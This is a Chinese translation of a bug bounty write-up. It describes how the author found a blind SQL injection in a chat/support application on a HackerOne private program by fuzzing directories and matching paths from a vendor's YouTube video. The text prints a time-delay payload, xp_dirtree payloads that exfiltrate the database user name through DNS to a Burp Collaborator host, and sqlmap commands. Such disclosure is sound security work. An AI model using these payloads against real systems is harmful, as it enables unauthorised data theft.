記一次觀看 YouTube 視頻,收穫一枚價值 4300 美金的 SQL 注入
這篇文章是關於我在 HackerOne 上的一個私人程序上的發現之一。由於這是一個私人程序,因此我進行了某些修改以防止泄露任何敏感信息。
這是我的第一篇文章,如有錯誤,所以還請大家海涵。
所以當我被邀請在 HackerOne 上滲透測試時,我做了一些基本的信息收集,其中包括子域枚舉。在使用一些開源工具(如 AMASS 等)收集子域後,我開始查看它們中的每一個。在這個過程中,我偶然發現了一個域,假設它是 chat.example.com。登錄頁面提供默認的 IIS 服務器登錄頁面。
在遇到默認網頁後,總是有可能存在某些內容,因此我繼續使用我的自定義字典通過目錄暴力破解資產進行內容發現。
我用於對 Web 服務器 ffuf 的根目錄進行模糊測試 /,結果中只有一個目錄,假設它是 / vendor-name. 訪問應用程序時 https://chat.example.com/vendorname/
出現 403 禁止錯誤
在遇到錯誤時,我對 / vendor-name 導致我進入另一個成功目錄的目錄進行了模糊測試,假設它是這樣 / software-name,並且也給出了 403 禁止錯誤。Fuzzing/vendor-name/software-name / 端點給出了多個結果,例如 / bin,/scripts,/logs,/styles 等,但沒有什麼有趣的。Logs 似乎很有趣,但是在這些端點上運行單詞列表並沒有產生任何有趣的結果。我嘗試了各種擴展 html,aspx,ashx,asp,bak,log,但都沒有奏效,這對我來說似乎是一條死衚衕。
然後我繼續用谷歌搜索前兩個目錄的名稱,因爲它們看起來像 / vendor-name/software-name,所以我用谷歌搜索 Vendor-Name Software-Name,我得到的結果和關於服務器上安裝的軟件的信息很少。這是一個付費聊天 / 支持軟件。
在此之後,我在 GitHub 等上搜索了應用程序的目錄結構,但沒有任何可用的。
瀏覽多個結果後,我發現了供應商的 YouTube 視頻解釋瞭如何安裝和配置應用程序。由於這是關於軟件的演示,因此講師正在演示配置各種配置文件的方法,因此在視頻中,講師打開了安裝服務器的文件夾,當他深入軟件目錄時,我能夠映射我的發現與軟件的目錄結構。最後,在複製粘貼各種目錄 / 文件並從視頻創建單詞表之後,我在視頻的幫助下發現了一些表格,其中之一是
https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html.
在填寫詳細信息並在 Send 發送數據之前單擊之後,發出了一個先前的 GET 請求,看起來像
https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=%2Fexample.html
這個看起來很有趣,所以我嘗試查看請求和響應。響應包含一個 HTML 重定向到提到的路徑,_returnURL 所以我嘗試給出 https://evil.com,_returnURL 並且響應包含一個 HTML 重定向,https://evil.com 但像往常一樣 Open Redirect 超出了範圍。我試圖注入 javascript:alert(1)URL,但它被正確編碼。
在此之後,我嘗試查看 SQL 注入漏洞的其他參數,更改其值對響應沒有影響,因此基於錯誤的 SQLI 是不可能的,所以我想嘗試一些基本的 Blind SQLI 參數上的有效負載。
在嘗試了一些有條件的 Blind SQLI 有效負載以引起一些響應差異或一些錯誤並失敗之後,我嘗試注入一些 Blind SQLI 有效負載來觸發時間延遲。由於它是 Microsoft 服務器,因此後端數據庫很可能是支持批處理查詢的 Microsoft SQL Server,我嘗試使用無條件時間延遲和參數上最基本的有效負載來誘導一些響應延遲,即 waitfor delay'0:0:20'-- 令我驚訝的是,注射成功了,響應延遲了 20 秒。
有多種方法可以利用盲 SQL 注入,例如觸發條件響應和帶外利用。最常見的方法是可能應用程序觸發帶外交互到我們控制的系統。最常見的方法是使用 DNS(域名服務)協議,因爲幾乎每個組織都允許傳出 DNS 查詢,在這種情況下也是如此。
在此之後,一切都是關於谷歌搜索的東西。起初,爲了確認漏洞,我使用了 “xp_dirtree” 一個存儲過程,它會嘗試列出其在第一個參數中給出的目錄或網絡共享的內容。如果列表是網絡共享,它將對其進行 DNS 查找,如果我們收到回調,我們可以確認 OOB 提取數據是可能的。
PingBack Payload:
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —
用戶名提取 Payload
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’+(SELECT user_name())+’.burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —
但是,可以手動提取的字符數有限制。如果查詢的結果少於 253,包括 burp Collaborator,那麼只有數據提取是可能的,但這足以對報告進行分類,但爲了進一步利用,我使用了 SQLMAP,它可以輕鬆地爲我們提供我們想要的數據 POC。
1、SQL 注入確認
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1
- 獲取數據庫
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 --dbs
在此之後,我創建了包含所有信息的報告並將其提交給程序,並且在 HackerOne Triager 可以驗證發現該資產已被程序刪除以進行緩解之前,但 HackerOne Triager 通過程序確認了這一點,並對報告進行了 Critical [9.3] 嚴重性分類。緩解後,應用程序啓動並安全運行。
漏洞解決後,我獲得了程序懸賞 4324 美元 :)
作者推特:https://twitter.com/k4k4r07
原文地址:https://infosecwriteups.com/how-a-youtube-video-lead-to-pwning-a-web-application-via-sql-injection-worth-4324-bounty-285f0a9b9f6c
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/pXr8KaxIVDnw7b5CthsrqQ